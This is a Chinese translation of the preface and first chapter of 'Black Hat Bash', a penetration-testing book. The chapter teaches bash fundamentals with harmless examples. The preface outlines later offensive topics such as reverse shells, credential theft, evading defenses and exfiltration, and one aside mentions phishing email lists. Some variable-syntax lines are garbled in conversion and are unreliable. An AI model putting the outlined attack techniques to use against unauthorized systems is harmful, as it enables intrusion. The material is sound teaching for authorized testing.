Bash-黑帽子编程-全-
Bash 黑帽子编程(全)
原文:
zh.annas-archive.org/md5/f6ba0db1f3dff5298af9d6f10e40dcaf译者:飞龙
前言

如果世界上最强大的网络武器不是零日漏洞,而是书中最古老的伎俩呢?在这个快速发展的网络安全领域,bash 脚本一直是一个基础技能,它不仅仅是与操作系统交互的便捷方式。
由 Brian Fox 于 1989 年编写的 bash shell 被广泛应用于大多数版本的 Linux 操作系统,Linux 操作系统在全球基础设施中占据了重要份额。你会在构成互联网骨干的庞大服务器网络中找到 Linux 系统,还会看到它在执行太空任务、推动安全金融交易以及推动人工智能创新方面的应用。
Linux 的普及使得 bash 脚本成为黑客必备的技能,特别是在掌握 依赖本地资源生活 的艺术方面,即利用系统的本地工具和进程执行攻击,这可以帮助黑客融入合法活动中并避免被检测到。如果渗透测试员过于依赖不断增长的第三方工具库,他们将在有限的工具访问权限的限制环境中遇到困难。
Bash 脚本还使黑客能够自动化执行命令行工具。例如,它可以让黑客将多个工具串联在一起,针对多个目标运行这些工具,或策略性地安排它们的执行时间。通过编写脚本,黑客可以开发出强大、高效的渗透测试例程,以满足他们的定制需求。
无论你是渗透测试员、漏洞赏金猎人、刚刚踏入网络安全领域的学生,还是希望了解攻击者技术的防御者,这本书都会教你如何在进攻性安全参与的各个阶段利用 bash 脚本。你将学习如何编写可重用的进攻性脚本,使用 bash shell 在网络中进行操作,并深入了解 Linux 操作系统。
本书内容
本书首先教你 bash 语法和脚本的基础知识。然后,它将这些技能应用到针对基于 Linux 的目标网络的渗透测试的各个阶段,从初始访问到数据外泄。在这个过程中,你将探索 Linux 操作系统,并提升你的 bash 黑客技巧。
第一章:Bash 基础 提供了 bash 语法的高级概述,包括变量赋值、使用算术运算符、处理输入和退出码等内容。
第二章:流程控制和文本处理 介绍了更高级的 bash 概念,如测试条件、使用循环、将代码整合到函数中以及将命令发送到后台。你还将学习一些定制 bash 环境以进行渗透测试的方法。
第三章:搭建黑客实验室 引导你建立一个实验室,用于本书后续的学习。你将依赖 Kali Linux 和一个基于 Docker 的易受攻击目标环境来练习 bash 黑客技术。
第四章:侦察 从黑盒的角度介绍对网络进行侦察活动。你将结合黑客工具和 bash 脚本来自动化信息收集。
第五章:漏洞扫描与模糊测试 探讨如何使用 bash 识别和利用漏洞。你将学习编写 bash 脚本来执行扫描和模糊测试任务,这是任何渗透测试中的关键步骤。
第六章:获得 Web Shell 深入探讨获取低权限控制目标系统的技术,特别关注如何部署 Web Shell 和执行操作系统命令注入。你还将探索各种升级受限 Shell 环境的方法,为未来的攻击奠定基础。
第七章:反向 Shell 介绍反向 Shell 的建立,这是一个初步访问技术,可以将连接方向切换到远程服务器。你将了解反向 Shell 的工作原理,并利用它们获得对远程机器的稳定访问。
第八章:本地信息收集 探讨如何在不通过网络发送任何可能暴露你活动的包的情况下,从被攻陷的 Linux 主机收集信息。你将导航 Linux 文件目录和权限系统,收集关于用户会话的信息,查看已安装的软件,等等。
第九章:权限提升 讨论潜在的权限提升路径,如配置错误的权限、共享资源和其他漏洞。
第十章:持久性 探讨如何使你对网络的访问在环境变化时仍然具有韧性。你将窃取凭证、修改服务配置等。
第十一章:网络探测与横向移动 讨论在目标网络上通过“借用土地”方法访问其他服务器。
第十二章:防御规避与数据外泄 介绍企业环境中常见的防御安全控制。你将学习如何篡改安全工具以及通过规避手段从系统中窃取信息。
脚本练习
在各章中,29 个练习将促使你实践新学到的 bash 脚本技能。有些练习会带你完成完整的脚本,然后鼓励你扩展或改进它们;其他则挑战你从零开始编写自己的脚本。通过 bash,你将完成如下练习:
-
按端口号组织扫描结果(第四章)
-
解析 Web 扫描工具的输出(第五章)
-
构建一个利用操作系统命令注入漏洞的接口(第六章)
-
编写一个 SSH 暴力破解工具,攻击用户账户(第七章)
-
递归搜索文件系统中的可读日志文件(第八章)
-
恶意修改计划任务脚本(第九章)
-
创建一个恶意软件包安装程序(第十章)
-
编写一个基于频率的端口扫描器(第十一章)
-
扫描受损主机,检查是否存在防御工具(第十二章),还有更多内容
如何使用本书
我们鼓励你在整本书中积极实验我们介绍的技术。首先克隆本书的 GitHub 仓库,位于 github.com/dolevf/Black-Hat-Bash。这个仓库包含了按章节分类的脚本宝库,可以帮助你应用所学的内容。
但请注意,本书中呈现的技术仅用于教育目的。仅在你明确获得授权的系统上进行测试。为了安全地提升你的技能,在第三章中,我们将指导你搭建自己的实验环境,在那里你可以进行无风险的实验。
第一章:1 BASH 基础

Bash 是一种命令语言解释器,提供了一个环境,用户可以在其中执行命令和运行应用程序。作为渗透测试人员和安全从业者,我们经常编写 bash 脚本来自动化各种任务,因此 bash 是黑客的必备工具。在本章中,你将设置你的 bash 开发环境,探索未来脚本中要使用的有用 Linux 命令,并学习该语言语法的基础知识,包括变量、数组、流、参数和操作符。
环境设置
在你开始学习 bash 之前,你需要在终端中运行 bash shell 并且有一个文本编辑器。你可以按照本节中的说明,在任何主要操作系统上访问这些工具。
注意
从第四章开始,你将使用 Kali Linux 来运行 bash 命令并完成黑客实验室。如果你现在想设置 Kali,请参考第三章中的步骤。
访问 Bash Shell
如果你使用的是 Linux 或 macOS,bash 应该已经可用。在 Linux 上,按 ALT-CTRL-T 打开终端应用程序。在 macOS 上,你可以通过导航到系统 Dock 上的 Launchpad 图标找到终端。
Kali 和 macOS 默认使用 Z Shell,因此当你打开新的终端窗口时,你需要输入 exec bash 来切换到 bash shell,然后再运行命令。如果你希望将默认 shell 改为 bash,以后不必手动切换 shell,可以使用 chsh -s /bin/bash 命令。
如果你使用的是 Windows,你可以使用 Windows Subsystem for Linux (WSL),它允许你运行 Linux 发行版并访问 bash 环境。官方的 Microsoft WSL 文档页面描述了如何安装它:learn.microsoft.com/en-us/windows/wsl/install。
WSL 的替代方案是 Cygwin,它通过提供一组 Linux 实用工具和系统调用功能来模拟 Linux 环境。要安装 Cygwin,请访问 www.cygwin.com/install.html 下载安装文件,然后按照安装向导进行操作。
Cygwin 默认安装在 *C:\cygwin64* Windows 路径下。要执行你的 bash 脚本,请将脚本保存在包含你的用户名的目录下,如 C:\cygwin64\home。例如,如果你的用户名是 david,你应该将脚本保存在 C:\cygwin64\home\david 下。然后,在 Cygwin 终端中,你将能够切换到该 home 目录以运行脚本。
安装文本编辑器
要开始编写 bash 脚本,你需要一个文本编辑器,最好是内置语法高亮等实用功能的编辑器。你可以选择基于终端的文本编辑器和基于图形用户界面的文本编辑器。基于终端的文本编辑器(如 vi 或 GNU nano)非常有用,因为在渗透测试过程中,当你需要立即开发脚本时,它们可能是唯一可用的选项。
如果你更喜欢图形化文本编辑器,Sublime Text (www.sublimetext.com) 是一个你可以使用的选项。在 Sublime Text 中,你可以通过点击右下角的Plain Text,然后从下拉的语言列表中选择Bash来开启 bash 脚本的语法高亮功能。如果你使用的是其他文本编辑器,请参考其官方文档了解如何开启语法高亮功能。
探索 Shell
现在你已经有了一个功能齐全的 bash 环境,接下来就该学习一些基础知识了。尽管你将在文本编辑器中开发脚本,但你可能还会经常在终端中运行单个命令。这是因为你通常需要在将命令纳入脚本之前,先查看命令的运行方式和输出结果。让我们通过运行一些 bash 命令来开始。
首先,输入以下命令验证系统中是否有 bash:
$ **bash --version**
输出中的版本将取决于你运行的操作系统。
检查环境变量
在终端中运行时,bash 会在每次启动新会话时加载一组环境变量。程序可以使用这些环境变量执行各种任务,比如确定运行脚本的用户身份、用户的主目录位置以及默认的 shell。
要查看 bash 设置的环境变量列表,可以直接从 shell 中运行 env 命令(Listing 1-1)。
$ **env**
SHELL=/bin/bash
LANGUAGE=en_CA:en
DESKTOP_SESSION=ubuntu
PWD=/home/user
`--snip--`
Listing 1-1: 列出 bash 的环境变量
你可以使用 echo 命令读取单个环境变量,echo 会将文本输出到终端。例如,要打印用户设置的默认 shell,可以使用 SHELL 环境变量,并在变量前加上美元符号 ($),并用大括号({})包围。这会使 bash 扩展该变量并显示其分配的值,如 Listing 1-2 所示。
$ **echo ${SHELL}**
/bin/bash
Listing 1-2: 将环境变量打印到终端
以下是一些可用的默认环境变量:
BASH_VERSION 正在运行的 bash 版本
BASHPID 当前 bash 进程的进程标识符(PID)
GROUPS 当前用户所属的组列表
HOSTNAME 主机名
OSTYPE 操作系统类型
PWD 当前工作目录
RANDOM 从 0 到 32,767 的随机数
UID 当前用户的用户 ID(UID)
SHELL shell 的完整路径名
以下示例展示了如何检查这些环境变量中的一些值:
$ **echo ${RANDOM}**
8744
$ echo ${UID}
1000
$ **echo ${OSTYPE}**
linux-gnu
这些命令分别生成一个随机数、输出当前用户的 ID,并显示操作系统类型。你可以在www.gnu.org/software/bash/manual/html_node/Bash-Variables.html找到完整的环境变量列表。
运行 Linux 命令
你在本书中编写的 bash 脚本将运行常见的 Linux 工具,所以如果你还不熟悉命令行导航和文件修改工具,如 cd、ls、chmod、mkdir 和 touch,尝试通过使用 man(手册)命令进行探索。你可以在任何 Linux 命令前加上它,打开一个基于终端的指南,解释该命令的用法和选项,如示例 1-3 所示。
$ **man ls**
NAME
ls - list directory contents
SYNOPSIS
ls [OPTION]... [FILE]...
DESCRIPTION
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor
--sort is specified.
Mandatory arguments to long options are mandatory for short options too.
-a, --all
do not ignore entries starting with .
`--snip--`
示例 1-3:访问命令的手册页
Linux 命令可以在命令行上接受多种类型的输入。例如,你可以输入 ls 命令而不带任何参数,以查看文件和目录,或者传递参数,例如显示所有文件在一行中。
参数通过命令行传递,使用短格式或长格式的参数语法,这取决于正在使用的命令。短格式语法使用一个短横线(-)后跟一个或多个字符。以下示例使用 ls 命令列出文件和目录,采用短格式的参数语法:
$ **ls -l**
一些命令允许你通过将多个参数连接在一起或分别列出它们来传递多个参数:
$ **ls -la**
$ **ls -l -a**
请注意,如果尝试用一个单一的短横线连接两个参数,某些命令可能会报错,因此请使用 man 命令了解允许的语法。
有些命令选项允许你使用长格式的参数语法,比如--help 命令用于列出可用的选项。长格式的参数语法是以双短横线(--)开头的:
$ **ls --help**
有时,为了方便,相同的命令参数支持短格式和长格式两种语法。例如,ls 支持参数-a(all),用于显示所有文件,包括隐藏文件。(以点号开头的文件在 Linux 中被视为隐藏文件。)然而,你也可以传递--all 参数,结果将是一样的:
$ **ls -a**
$ **ls --all**
让我们执行一些简单的 Linux 命令,以便你可以看到每个命令提供的选项变化。首先,使用 mkdir 创建一个目录:
$ **mkdir directory1**
现在让我们使用 mkdir 创建两个目录:
$ **mkdir directory2 directory3**
接下来,使用 ps 命令列出进程,使用短格式的参数语法,先分别提供参数,然后一起提供:
$ **ps -e -f**
$ **ps -ef**
最后,让我们使用 df 命令和长格式参数语法来显示可用的磁盘空间:
$ **df --human-readable**
在本书中,你将使用这些 Linux 命令编写脚本。
Bash 脚本的元素
在本节中,你将学习 bash 脚本的构建模块。你将使用注释来记录脚本的功能,告诉 Linux 使用特定的解释器执行脚本,并为脚本添加样式以提高可读性。
Bash 没有官方的风格指南,但我们建议遵循 Google 的 Shell 风格指南(google.github.io/styleguide/shellguide.html),该指南概述了开发 bash 代码时应遵循的最佳实践。如果你在一个渗透测试团队中工作,并且有一个漏洞利用代码库,使用良好的代码风格实践将帮助你的团队进行维护。
Shebang 行
每个脚本都应该以shebang行开始,这是一个字符序列,起始符号为井号和感叹号(#!),后面跟着脚本解释器的完整路径。列表 1-4 展示了一个典型 bash 脚本的 shebang 行示例。
#!/bin/bash
列表 1-4:Bash Shebang 行
Bash 解释器通常位于 /bin/bash。如果你使用 Python 或 Ruby 编写脚本,那么你的 shebang 行会包括 Python 或 Ruby 解释器的完整路径。
你有时会遇到使用类似下面这种 Shebang 行的 bash 脚本:
#!/usr/bin/env bash
你可能想使用这个 shebang 行,因为它比列表 1-4 中的那个更具可移植性。一些 Linux 发行版将 bash 解释器放置在不同的系统位置,而这个 shebang 行将尝试找到该位置。这个方法在渗透测试中尤其有用,因为你可能不知道目标机器上 bash 解释器的具体位置。然而,为了简化起见,本书中将使用列表 1-4 中的 shebang 版本。
Shebang 行也可以接受可选的参数来改变脚本的执行方式。例如,你可以将特殊参数 -x 传递给你的 bash shebang,像这样:
#!/bin/bash -x
这个选项会将所有命令及其参数在执行时打印到终端。这对于调试脚本非常有用,尤其是在你开发脚本时。
另一个可选参数的例子是 -r:
#!/bin/bash -r
这个选项创建了一个受限的 bash shell,它限制了某些可能危险的命令,这些命令可能会例如导航到特定目录、修改敏感的环境变量,或者尝试从脚本内部关闭受限的 shell。
在 shebang 行中指定一个参数需要修改脚本,但你也可以通过使用以下语法将参数传递给 bash 解释器:
$ **bash -r myscript.sh**
无论你是在命令行上传递参数给 bash 解释器,还是在 shebang 行中传递,都不会有区别。命令行选项只是触发不同模式的一种更简便的方式。
注释
注释是脚本的一部分,bash 解释器不会将其视为代码,它们可以提高程序的可读性。试想一下,你写了一个很长的脚本,几年后需要修改其中的一些逻辑。如果你没有写注释来解释你做了什么,可能会发现很难记住每个部分的目的。
Bash 中的注释以井号 (#) 开始,如列表 1-5 所示。
#!/bin/bash
# This is my first script.
列表 1-5:bash 脚本中的注释
除了 shebang 行外,所有以井号开头的行都被视为注释。如果你写了两次 shebang 行,bash 会认为第二行是注释。
要编写多行注释,请在每行前面加上井号,如列表 1-6 所示。
#!/bin/bash
# This is my first script!
# Bash scripting is fun...
列表 1-6:多行注释
除了记录脚本的逻辑,注释还可以提供元数据,指示作者、脚本版本、联系问题的人等。这些注释通常出现在脚本的顶部部分,位于 shebang 行下方。
命令
脚本可以简短到只有两行:shebang 行和一条 Linux 命令。让我们写一个简单的脚本,将 Hello World! 打印到终端。打开文本编辑器并输入以下内容:
**#!/bin/bash**
**echo "Hello World!"**
在这个示例中,我们使用 shebang 语句指定了我们选择的解释器 bash。然后我们使用 echo 命令将字符串 Hello World! 打印到屏幕上。
执行
要运行脚本,将文件保存为 helloworld.sh,然后打开终端并导航到脚本所在的目录。如果你将文件保存在主目录中,你应该运行列表 1-7 中显示的一组命令。
$ **cd ~**
$ **chmod u+x helloworld.sh**
$ **./helloworld.sh**
Hello World!
列表 1-7:从主目录运行脚本
我们使用 cd 命令来切换目录。波浪号(~)代表当前运行用户的主目录。接下来,我们使用 chmod 设置文件拥有者(在这个例子中是我们自己)的可执行(u+x)权限。我们通过使用点斜杠符号(./)后跟脚本名称来运行脚本。点(.)表示当前目录,因此我们实际上是在告诉 bash 从当前工作目录运行helloworld.sh。
你也可以使用以下语法运行 bash 脚本:
$ **bash helloworld.sh**
因为我们指定了 bash 命令,脚本将使用 bash 解释器运行,并且不需要 shebang 行。另外,如果使用 bash 命令,脚本也不需要设置可执行权限(+x)。在后续章节中,你将更深入了解权限模型,并探讨它在渗透测试中查找配置错误的重要性。
调试
在编写 bash 脚本时,错误是不可避免的。幸运的是,调试脚本相当直观。一个简单的早期检查错误的方法是运行脚本时使用 -n 参数:
$ **bash -n script.sh**
这个参数将读取脚本中的命令,但不会执行它们,因此所有语法错误都会显示在屏幕上。你可以把 -n 当作一种干运行方法,用来测试语法的有效性。
你也可以使用 -x 参数开启详细模式,这样可以看到正在执行的命令,并帮助你在脚本实时执行时调试问题:
$ **bash -x script.sh**
如果你希望在脚本的某个特定位置开始调试,可以在脚本中包含 set 命令(列表 1-8)。
#!/bin/bash
set -x
`--snip--`
set +x
清单 1-8:使用 set 调试脚本
你可以将 set 看作是一个开关,用于开启或关闭某个选项。在这个示例中,第一个命令设置调试模式(set -x),而最后一个命令(set +x)禁用调试模式。通过使用 set,你可以避免在脚本较大且包含特定问题区域时,在终端中生成大量无用信息。
基本语法
到目前为止,你已经编写了一个两行的脚本,向屏幕打印出消息 "Hello World!"。你还学会了如何运行和调试脚本。现在,你将学习一些 bash 语法,以便编写更有用的脚本。
最基本的 bash 脚本只是将 Linux 命令收集到一个文件中。例如,你可以编写一个脚本,在系统上创建资源,然后将这些资源的信息打印到屏幕上(清单 1-9)。
#!/bin/bash
# All this script does is create a directory, create a file
# within the directory, and then list the contents of the directory.
mkdir mydirectory
touch mydirectory/myfile
ls -l mydirectory
清单 1-9:列出目录内容的 bash 脚本
在这个示例中,我们使用 mkdir 创建一个名为mydirectory的目录。接着,我们使用 touch 命令在该目录内创建一个名为myfile的文件。最后,我们运行 ls -l 命令列出mydirectory的内容。
脚本的输出如下所示:
`--snip--`
-rw-r--r-- 1 user user 0 Feb 16 13:37 myfile
然而,这种逐行执行的策略可以在多个方面进行改进。首先,当命令运行时,bash 会等待命令完成后再继续执行下一行。如果包含一个长时间运行的命令(如文件下载或大文件复制),剩下的命令将在该命令完成之前无法执行。我们还没有实现任何检查机制来验证所有命令是否正确执行。你需要编写更智能的程序,以减少运行时的错误。
编写复杂程序通常需要使用变量、条件、循环和测试等功能。例如,如果我们希望修改这个脚本,使其在尝试创建新文件和目录之前检查磁盘是否有足够的空间,怎么办?或者如果我们能够检查目录和文件创建操作是否成功呢?本节和第二章将介绍你完成这些任务所需的语法元素。
变量
每种脚本语言都有变量。变量是我们分配给内存位置并存储值的名称;它们充当占位符或标签。我们可以直接为变量赋值,或者可以执行 bash 命令并将其输出存储为变量值,以供各种用途。
如果你曾接触过编程语言,你可能知道变量可以有不同的类型,如整数、字符串和数组。在 bash 中,变量是无类型的;它们都被视为字符字符串。尽管如此,你会看到 bash 允许你创建数组、访问数组元素,或执行算术运算,只要变量值仅由数字组成。
以下规则规范了 bash 变量的命名:
-
它们可以包含字母数字字符。
-
变量名不能以数字开头。
-
变量名可以包含下划线(_)。
-
变量名不能包含空格。
变量赋值与访问
让我们来赋值一个变量。打开终端并在命令提示符下直接输入以下内容:
$ **book="black hat bash"**
我们创建了一个名为 book 的变量,并使用等号(=)将值“black hat bash”赋给它。现在我们可以在命令中使用这个变量。在以下示例中,我们使用 echo 命令将该变量打印到屏幕上:
$ **echo "This book's name is ${book}"**
This book's name is black hat bash
在这里,我们通过在 echo 命令中使用\({book}语法打印变量。这将扩展 book 变量的值。你也可以通过仅使用美元符号(\))后跟变量名来扩展变量:
$ **echo "This book's name is $book"**
使用${}语法可以使代码更不容易被误解,并帮助读者理解变量的开始和结束。
你还可以通过使用命令替换语法$(),将命令的输出赋值给变量,将所需的命令放在括号内。你将在 bash 编程中经常使用这种语法。尝试运行清单 1-10 中的命令。
$ **root_directory=$(ls -ld /)**
$ **echo "${root_directory}"**
drwxr-xr-x 1 user user 0 Feb 13 20:12 /
清单 1-10:将命令输出赋值给变量
我们将命令ls -ld /的输出赋值给名为 root_directory 的变量,然后使用 echo 打印该命令的输出。在这个输出中,你可以看到我们能够获取有关根目录(/)的元数据,如其类型和权限、大小、用户和组所有者,以及最后修改的时间戳。
请注意,在创建变量时,赋值符号(=)两边不应有空格:
book = "this is an invalid variable assignment"
上述的变量赋值语法被认为是无效的。
取消赋值变量
你可以通过使用 unset 命令来取消已赋值的变量,如清单 1-11 所示。
$ **book="Black Hat Bash"**
$ **unset book**
$ **echo "${book}"**
清单 1-11:取消变量赋值
如果你在终端中执行这些命令,echo 命令执行后将不会显示任何输出。
变量作用域
全局变量是整个程序都能访问的变量。但是,bash 中的变量也可以是作用域限定的,只能在特定的代码块内访问。这些局部变量是通过使用 local 关键字声明的。清单 1-12 中的脚本展示了局部和全局变量是如何工作的。
local_scope _variable.sh
#!/bin/bash
PUBLISHER="No Starch Press"
print_name(){
local name
name="Black Hat Bash"
echo "${name} by ${PUBLISHER}"
}
print_name
echo "Variable ${name} will not be printed because it is a local variable."
清单 1-12:访问全局和局部变量
我们将值“No Starch Press”赋给变量 PUBLISHER,然后创建一个名为 print_name()的函数。(你将在下一章学习函数。)在这个函数内,我们声明一个名为 name 的局部变量,并赋值为“Black Hat Bash”。然后我们调用 print_name()并尝试将 name 变量作为一句话的一部分通过 echo 打印出来。
脚本文件末尾的 echo 命令将导致空变量,因为 name 变量的作用域仅限于 print_name()函数,这意味着函数外部无法访问它。因此,它将直接返回一个空值。
注意
本章中的脚本可通过以下链接获取:github.com/dolevf/Black-Hat-Bash/blob/master/ch01。
保存此脚本,记得使用 chmod 设置可执行权限,并使用以下命令运行它:
$ **./local_scope_variable.sh**
Black Hat Bash by No Starch Press
Variable will not be printed here because it is a local variable
如你所见,本地变量从未被打印。
算术运算符
算术运算符允许你对整数执行数学运算。表 1-1 显示了一些可用的算术运算符。完整的列表请参见 tldp.org/LDP/abs/html/ops.html。
表 1-1:算术运算符
| 运算符 | 描述 |
|---|---|
| + | 加法 |
| - | 减法 |
| * | 乘法 |
| / | 除法 |
| % | 取模 |
| += | 常量递增 |
| -= | 常量递减 |
你可以通过几种方式在 bash 中执行这些算术运算:使用 let 命令、使用双括号语法 $((expression)),或者使用 expr 命令。让我们来看每种方法的一个例子。
在清单 1-13 中,我们通过使用 let 命令执行了一个乘法运算。
$ **let result="4 * 5"**
$ **echo ${result}**
20
清单 1-13:使用 let 进行算术运算
此命令接收一个变量名,并执行算术计算以求解其值。在清单 1-14 中,我们使用双括号语法执行了另一个乘法运算。
$ **result=$((5 * 5))**
$ **echo ${result}**
25
清单 1-14:使用双括号语法进行算术运算
在这种情况下,我们在双括号内执行计算。最后,在清单 1-15 中,我们使用 expr 命令执行了加法运算。
$ **result=$(expr 5 + 505)**
$ **echo ${result}**
510
清单 1-15:使用 expr 计算表达式
expr 命令用于计算表达式,这些表达式不一定是算术运算;例如,你可以用它来计算字符串的长度。使用 man expr 了解 expr 的更多功能。
数组
Bash 允许你创建一维数组。一个 数组 是一个由元素组成的集合,这些元素是有索引的。你可以通过使用它们的索引编号来访问这些元素,索引从零开始。在 bash 脚本中,每当你需要迭代多个字符串并对每个字符串运行相同的命令时,可能会使用数组。
清单 1-16 展示了如何在 bash 中创建一个数组。将此代码保存为名为 array.sh 的文件并执行。
#!/bin/bash
# Sets an array
IP_ADDRESSES=(192.168.1.1 192.168.1.2 192.168.1.3)
# Prints all elements in the array
echo "${IP_ADDRESSES[*]}"
# Prints only the first element in the array
echo "${IP_ADDRESSES[0]}"
清单 1-16:创建和访问数组
此脚本使用名为 IP_ADDRESSES 的数组,其中包含三个互联网协议(IP)地址。第一个 echo 命令通过将 [] 传递给变量名 IP_ADDRESSES(它保存了数组值)来打印数组中的所有元素。星号()表示每个数组元素。最后,另一个 echo 命令通过指定索引 0 来打印数组中的第一个元素。
运行此脚本应产生以下输出:
$ **chmod u+x array.sh**
$ **./array.sh**
192.168.1.1 192.168.1.2 192.168.1.3
192.168.1.1
如你所见,我们能够让 bash 打印数组中的所有元素,也只打印第一个元素。
你也可以从数组中删除元素。列表 1-17 会删除数组中的 192.168.1.2。
IP_ADDRESSES=(192.168.1.1 192.168.1.2 192.168.1.3)
unset IP_ADDRESSES[1]
列表 1-17:删除数组元素
你甚至可以用另一个值替换其中一个值。此代码将 192.168.1.1 替换为 192.168.1.10:
IP_ADDRESSES[0]="192.168.1.10"
当你需要迭代值并对其执行操作时,数组会特别有用,比如扫描的 IP 地址列表(或要发送钓鱼邮件的电子邮件地址列表)。
流
流是充当程序与其环境之间通信通道的文件。当你与程序交互时(无论是内建的 Linux 工具,如 ls 或 mkdir,还是你自己编写的程序),你都在与一个或多个流交互。Bash 有三个标准数据流,如表格 1-2 所示。
表 1-2:流
| 流名称 | 描述 | 文件描述符编号 |
|---|---|---|
| 标准输入(stdin) | 输入到程序中的数据 | 0 |
| 标准输出(stdout) | 从程序输出的数据 | 1 |
| 标准错误(stderr) | 程序输出的错误信息 | 2 |
到目前为止,我们已经从终端运行了一些命令,并编写并执行了一个简单的脚本。生成的输出被发送到了标准输出流(stdout),换句话说,就是你的终端屏幕。
脚本也可以接收命令作为输入。当脚本被设计为接收输入时,它会从标准输入流(stdin)中读取输入。最后,脚本可能会由于命令中的 bug 或语法错误而向屏幕显示错误信息。这些信息会被发送到标准错误流(stderr)。
为了说明流的概念,我们将使用 mkdir 命令来创建一些目录,然后使用 ls 来列出当前目录的内容。打开终端并执行以下命令:
$ **mkdir directory1 directory2 directory1**
mkdir: cannot create directory 'directory1': File exists
$ **ls -l**
total 1
drwxr-xr-x 1 user user 0 Feb 17 09:45 directory1
drwxr-xr-x 1 user user 0 Feb 17 09:45 directory2
注意到 mkdir 生成了一个错误。这是因为我们在命令行中将目录名称directory1传递了两次。因此,当 mkdir 执行时,它创建了directory1和directory2,然后在第三个参数时失败,因为此时directory1已经被创建。这类错误会被发送到标准错误流。
接下来,我们执行 ls -l,这只是列出目录。ls 命令的结果成功执行,没有特定的错误,因此它被发送到标准输出流。
你将在我们介绍重定向时练习标准输入流的使用,具体内容在“重定向操作符”部分,见第 18 页。
控制操作符
Bash 中的控制操作符是执行控制功能的标记。表 1-3 概述了控制操作符。
表 1-3:Bash 控制操作符
| 操作符 | 描述 |
|---|---|
| & | 将命令发送到后台。 |
| && | 用作逻辑与。表达式中的第二个命令只有在第一个命令的结果为真时才会被执行。 |
| (和) | 用于命令分组。 |
| ; | 用作列表终结符。一个命令在终结符后将运行,在前一个命令完成后,无论它的返回值是否为 true。 |
| ;; | 结束一个 case 语句。 |
| | | 将一个命令的输出重定向为另一个命令的输入。 |
| || | 用作逻辑 OR。第二个命令将在第一个命令返回 false 时运行。 |
让我们来看一下这些控制操作符的实际应用。& 操作符将命令发送到后台。如果你有一个命令列表要运行,如列表 1-18 所示,将第一个命令发送到后台可以让 bash 继续执行下一行,即使前一个命令尚未完成其工作。
#!/bin/bash
# This script will send the sleep command to the background.
echo "Sleeping for 10 seconds..."
❶ sleep 10 &
# Creates a file
echo "Creating the file test123"
touch test123
# Deletes a file
echo "Deleting the file test123"
rm test123
列表 1-18:将命令发送到后台,以便执行可以移动到下一行
长时间运行的命令通常会被发送到后台,以防止脚本挂起 ❶。当我们在第二章中讨论作业控制时,你将更深入地了解如何将命令发送到后台。
&& 操作符允许我们在两个命令之间执行 AND 操作。在以下示例中,只有第一个命令成功时,文件 test123 才会被创建:
touch test && touch test123
() 操作符允许我们将多个命令分组,以便在需要一起重定向时将它们视为一个整体:
(ls; ps)
这通常在你需要将多个命令的结果重定向到一个流时非常有用,正如接下来的“重定向操作符”中所示。
; 操作符允许我们运行多个命令,而不管它们的退出状态:
ls; ps; whoami
结果是,每个命令都会在前一个命令完成后一个接一个地执行。
|| 操作符允许我们通过 OR 操作将命令连接在一起:
lzl || echo "the lzl command failed"
在这个例子中,echo 命令只有在第一个命令失败时才会执行。
重定向操作符
我们之前提到的三个标准流可以从一个程序重定向到另一个程序。重定向 是将一个命令或脚本的输出作为另一个脚本或文件的输入,用于写入目的。表 1-4 描述了可用的重定向操作符。
表 1-4:重定向操作符
| 操作符 | 描述 |
|---|---|
| > | 将 stdout 重定向到一个文件 |
| >> | 将 stdout 重定向到一个文件,并将内容追加到现有内容中 |
| &> 或 >& | 将 stdout 和 stderr 重定向到文件 |
| &>> | 将 stdout 和 stderr 重定向到一个文件,并追加到现有内容中 |
| < | 将输入重定向到一个命令 |
| << | 被称为 here 文档或 heredoc,将多行输入重定向到一个命令 |
| | | 将一个命令的输出重定向为另一个命令的输入 |
让我们练习使用重定向操作符,看看它们如何与标准流一起工作。> 操作符将标准输出流重定向到一个文件。任何在此字符之前的命令都会将其输出发送到指定的位置。直接在终端中运行以下命令:
$ **echo "Hello World!" > output.txt**
我们将标准输出流重定向到一个名为 output.txt 的文件中。要查看 output.txt 的内容,只需运行以下命令:
$ **cat output.txt**
Hello World!
接下来,我们将使用 >> 操作符将一些内容附加到同一个文件的末尾(见 Listing 1-19)。
$ **echo "Goodbye!" >> output.txt**
$ **cat output.txt**
Hello World!
Goodbye!
Listing 1-19:将内容附加到文件中
如果我们使用 > 而不是 >>,output.txt 的内容将被 Goodbye! 文本完全覆盖。
你可以通过使用 &> 将标准输出流和标准错误流都重定向到一个文件中。当你不希望将任何输出发送到屏幕,而是将所有内容保存到日志文件中(可能供以后分析)时,这非常有用:
$ **ls -l / &> stdout_and_stderr.txt**
要将标准输出流和标准错误流都附加到文件中,可以使用与符号后跟双箭头 (&>>)。
如果我们想将标准输出流发送到一个文件,而将标准错误流发送到另一个文件呢?使用流的文件描述符编号,也可以做到这一点:
$ **ls -l / 1> stdout.txt 2> stderr.txt**
有时,你可能会发现将标准错误流重定向到文件中非常有用,就像我们在这里所做的那样,这样你可以记录运行时发生的任何错误。下一个示例运行了一个不存在的命令 lzl。这应该会生成 bash 错误,并将其写入 error.txt 文件:
$ **lzl 2> error.txt**
$ **cat error.txt**
bash: lzl: command not found
请注意,屏幕上看不到错误信息,因为 bash 将错误信息发送到了文件中。
接下来,我们使用标准输入流。在 shell 中运行 Listing 1-20 中的命令,将 output.txt 的内容作为输入提供给 cat 命令。
$ **cat < output.txt**
Hello World!
Goodbye!
Listing 1-20:使用文件作为命令的输入
如果我们想将多行内容重定向到一个命令呢?此时,可以使用文档重定向(<<)来帮助完成这项操作(见 Listing 1-21)。
$ **cat << EOF**
**Black Hat Bash**
**by No Starch Press**
**EOF**
Black Hat Bash
by No Starch Press
Listing 1-21:文档重定向
在这个示例中,我们将多行作为输入传递给一个命令。示例中的 EOF 起到了分隔符的作用,标记了输入的起始和结束位置。文档重定向 将输入当作独立文件处理,保留了换行符和空格。
管道 操作符 (|) 将一个命令的输出重定向,并将其作为另一个命令的输入。例如,我们可以在根目录下运行 ls 命令,然后使用另一个命令从中提取数据,如 Listing 1-22 所示。
$ **ls -l / | grep "bin"**
lrwxrwxrwx 1 root root 7 Mar 10 08:43 bin -> usr/bin
lrwxrwxrwx 1 root root 8 Mar 10 08:43 sbin -> usr/sbin
Listing 1-22:将命令输出通过管道传递到另一个命令
我们使用 ls 打印根目录的内容到标准输出流中,然后使用管道将其作为输入传递给 grep 命令,后者会过滤掉包含 bin 的行。
位置参数
